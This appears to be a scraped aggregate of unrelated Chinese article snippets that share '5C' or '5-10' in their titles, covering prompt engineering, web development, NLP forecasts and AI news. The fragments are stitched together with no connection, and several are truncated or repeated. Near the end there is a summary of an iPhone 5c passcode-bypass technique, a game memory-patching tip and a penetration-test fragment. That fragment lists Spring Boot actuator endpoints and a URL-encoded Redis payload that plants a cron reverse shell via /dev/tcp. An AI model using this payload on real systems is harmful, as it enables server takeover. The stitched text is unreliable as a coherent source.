5C提示词工程框架：让AI成为你的贴心助手

今天我们要聊的5C提示词工程框架，就是要教你如何和AI进行"有效沟通"，让它真正成为你的贴心助手。 图1：传统AI对话 vs 5C框架对话的效果对比 帮你搞定工作汇报的那些事儿想象一下这个场景：你是一名产品经理，下周一要向老板汇报AI助手产品的市场调研结果。时间紧，任务重，但你又想做得漂亮一点。 我们就用这个场景来贯穿整篇文章，看看5C框架如何一步步帮你搞定这个任务。第一个C：清晰度(Clarity) - 说人话，别绕弯子什么是清晰度？清晰度就是说人话。 技巧3：多角度验证请分别从用户、厂商、渠道商三个角度评估这个产品策略的可行性总结：5C框架的核心价值通过我们这个市场分析的完整案例，你应该能感受到5C框架的威力了：清晰度让AI理解你的真实需求上下文让AI 给出贴合实际的建议命令让AI输出你想要的格式链式让复杂任务变得可控持续优化让结果越来越完美图7：5C框架带来的综合价值 最重要的是，这个框架不仅适用于工作场景，学习、生活中的任何AI交互都能用上。

WordPress 主题教程 #5c：日志元数据

日志元数据是从零开始创建 WordPress 主题系列教程的五篇的第三部分，今天我们将开始讲解日志的元数据（Postmetadata）：日期（date），分类（categories），作者（author），评论数（number of comments），以及其他和日志有关系的信息。

未来5-10年，NLP将走向成熟

这里有一个简单的例子，这个人想做一个披萨的Bot，他用Bot的框架，这几行语句填入相应的知识，相应的数据，就可以实现一个简单的定披萨的Bot。 未来5-10年，NLP将走向成熟 最后，再介绍一下我对自然语言处理目前存在的问题以及未来的研究方向的一些考虑，供大家参考。

5-10~11 webpack 性能优化（2）

然后我们修改一下 home.jsx 代码，增加一个三方库，lodash。我们装一下 lodash 然后引入：

mongo登录认证失败， 求教如何解决 5C

mongo登录认证失败， 求教如何解决 5C 登陆认证两种方式，一种先登陆在认证：db.auth("xxx","xxx")； 一种直接认证：mongo -u xxx -p xxx --authenticationDatabase

未来5-10年，自然语言处理将走向成熟

这里有一个简单的例子，这个人想做一个披萨的Bot，他用Bot的框架，这几行语句填入相应的知识，相应的数据，就可以实现一个简单的定披萨的Bot。 未来5-10年，NLP将走向成熟 最后，再介绍一下我对自然语言处理目前存在的问题以及未来的研究方向的一些考虑，供大家参考。

破解iPhone 5c的密码其实只要100美元

最近剑桥大学一名安全研究人员Sergei Skorobogatov研究出一种NAND镜像技术，完全能够绕过iPhone 5c的密码重试次数限制，更悲剧的是，成本只需要100美元！ 很多技术专家都认为，圣贝纳迪诺枪击案中的那台iPhone 5c应该就是用NAND镜像的方式进行破解的，但业内始终都没有真正行之有效的PoC出现。 iPhone 5c之上的NAND芯片不仅焊在LGA无引线封装中，而且还用环氧化合物强力胶，加上不破坏周围的组件，拆卸时对加热的高温也有控制要求。 ? ，将这颗闪存芯片装到需要破解的那台iPhone 5c上。就像前面说的一样，每台iPhone的UID是不一样的，所以装上去之后，肯定是不能正常开机的。 将原有的NAND芯片接回到iPhone 5c，开机试密码，6次错误后关机。再把NAND芯片卸下，接到测试板上。

机器学习入门 5-10 线性回归的可解释性

上面使用了波士顿房价的13个特征，通过在全部数据集上进行拟合，不进行train_test_split方法是因为此时我们并不需要验证模型的性能，只是对得到结果的系数进行解释。

pta习题集 5-10 切分表达式——写个tokenizer吧

[先说点出题背景] 这个题是为低年级同学、学C语言的同学准备的，因为，对这部分同学，这个题目编写起来略有一点复杂。如果是高年级、学过了正则表达式（Regular Expression）的同学或者学过了Java等OO语言的同学做这个题，应当发现这题比较简单吧。哦，对了，什么是tokenizer？请自行查询解决。反正在此处不应翻译成“令牌解析器”。 [正题] 四则运算表达式由运算数（必定包含数字，可能包含正或负符号、小数点）、运算符（包括+、-、*、/）以及小括号（(和)）组成，每个运算数、运算符和括号

Hinton：5-10年内深度学习取代放射科医生

ImageApparate(幻影)镜像加速服务让镜像分发效率提升 5-10 倍

ImageApparate(幻影) 为了解决这个问题，腾讯云容器服务 TKE 团队开发了下一代镜像分发方案ImageApparate(幻影), 将大规模大镜像分发的速度提升 5-10倍。 ? 基于此前提，在兼容OCI V1的框架下，TCR 推出了 ImageApparate(幻影) 容器镜像加速服务。首先直接放结论，在 200 节点且镜像内容占镜像总大小的 5% 到 10%。 如上所述，相比于传统的下载全部镜像的方式，ImageApparate 在容器全部启动时间上都有 5-10倍 的提升。 镜像本地缓存由不同的IAS附加存储插件自身实现，目前 CFS 实现使用了 FScache 框架作为本地缓存可以自动按页缓存访问过的在远端存储上的部分数据，根据当前磁盘通过本地缓存能力，有效提升镜像数据重复访问的性能和稳定性

光照计算 采用手动优化重写，通常能获得5-10倍的性能提升

物理碰撞检测光照计算 采用手动优化重写，通常能获得5-10倍的性能提升第三阶段：内存优化通过JavaScript特有的内存管理技术：代码语言：javascript代码运行次数：0运行AI代码解释// 使用对象池减少

植物大战僵尸：分析植物的攻击速度

搜索未知初始化数据(未攻击) 出现僵尸 -> 开始攻击的时候 -> 使用变速精灵或变速齿轮将攻击速度放慢 -> 搜索减少的数值 回到游戏 -> 马上回到CE -> 搜索减少的数值 -> 依次重复进行5- 我们可以通过修改【 mov ecx，dword ptr [esi + 5C]】来实现加速植物攻击加速，这里可以将该指令直接改成【mov ecx,22】即可实现植物攻击加速。

【AI全球大战医生】Hinton：5-10年内深度学习取代放射科医生

编辑：张乾 弗朗西斯 文强 【新智元导读】2017年4月，Hinton在接受《纽约客》采访时说：“5年内深度学习就能超过放射科医生，从现在起就停止培训放射科医生”。此言论一出，再一次引发全球关于AI正在取代医生的焦虑讨论。IEEE Spectrum在2018新年伊始推出专刊“AI vs Doctors”，统计了从2016年5月至今，AI在医疗领域的进展，并对比各大细分领域AI与人类医生能力差距，人工智能正在医生的主场获取成功，哪些医疗诊疗行业已被AI超越？机器人医生是人类的未来吗？ 2017年4月，Hi

在一个公司死磕了5-10年的人最后都怎么样了

互联网企业给人的感觉就是流动性非常大，跳槽一词也常挂嘴中，并且也是涨薪资最好的方式，很少有人在一家公司待五六年以上。

百度王海峰Quora精华整理：未来5-10年，NLP领域将会有什么进展？

2、未来5-10年，NLP领域将会有什么进展？ 机器翻译、语义理解、问答和对话技术将会有重大突破。这些技术将会被广泛应用，并最终改变人与计算机、人与各种硬件设备、以及人与人之间的沟通方式。

37% 的专业人士使用生成式人工智能工具每周可节省 5-10 小时的时间

4月17日讯，据businesswire报道，Contentful的一份报告显示，38%的受访者表示，使用 genAI 工具每周可节省 1 到近 5 个小时；37% 每周可节省 5 到 10 个小时；11% 每周可节省 10 个小时以上。

MetaDaily｜腾讯业内首发数字孪生云，扎克伯格对未来5-10年的前景感到完全乐观

会上，腾讯还发布《腾讯数字孪生云白皮书》，从多个维度分析和洞察数字孪生最新的前沿应用趋势，对数字孪生技术框架、应用场景、实施策略等做了重点呈现。 Meta CEO扎克伯格：对未来5-10年的前景感到完全乐观 Meta CEO扎克伯格表示，对未来5-10年的前景感到“完全乐观”;此前在2021年错误地认为元宇宙的火热趋势将持续下去;说Meta现在将所有的注意力全都集中在了元宇宙领域是不正确的说法

实时文生图速度提升5-10倍，清华LCMLCM-LoRA爆火，浏览超百万、下载超20万

据统计，LCM 能将主流文生图模型的效率提高 5-10 倍，所以能呈现出实时的效果。 Hugging Face 团队已经将潜在一致性模型集成进入 diffusers 官方仓库，并在两个接连的正式版本 v0.22.0 和 v0.23.0 中先后更新了 LCM 和 LCM-LoRA 的相关代码框架

记一次渗透测试

通过扫描所有子域名ip,从中找到spring boot框架的网站， ctuator/auditLog actuator/auditevents actuator/autoconfig actuator/ %75%73%68%61%6c%6c%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%0d%0a%31%0d%0a%24%35%39%0d%0a%5c %6e%5c%6e%2a%2f%31%20%2a%20%2a%20%2a%20%2a%20%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70% 2f%31%32%37%2e%30%2e%30%2e%31%3a%31%32%32%31%20%30%3e%26%31%5c%6e%5c%6e%0d%0a%2a%34%0d%0a%24%36%0d%0a 2f%31%32%37%2e%30%2e%30%2e%31%3a%31%32%32%31%20%30%3e%26%31%5c%6e%5c%6e%0d%0a%2a%34%0d%0a%24%36%0d%0a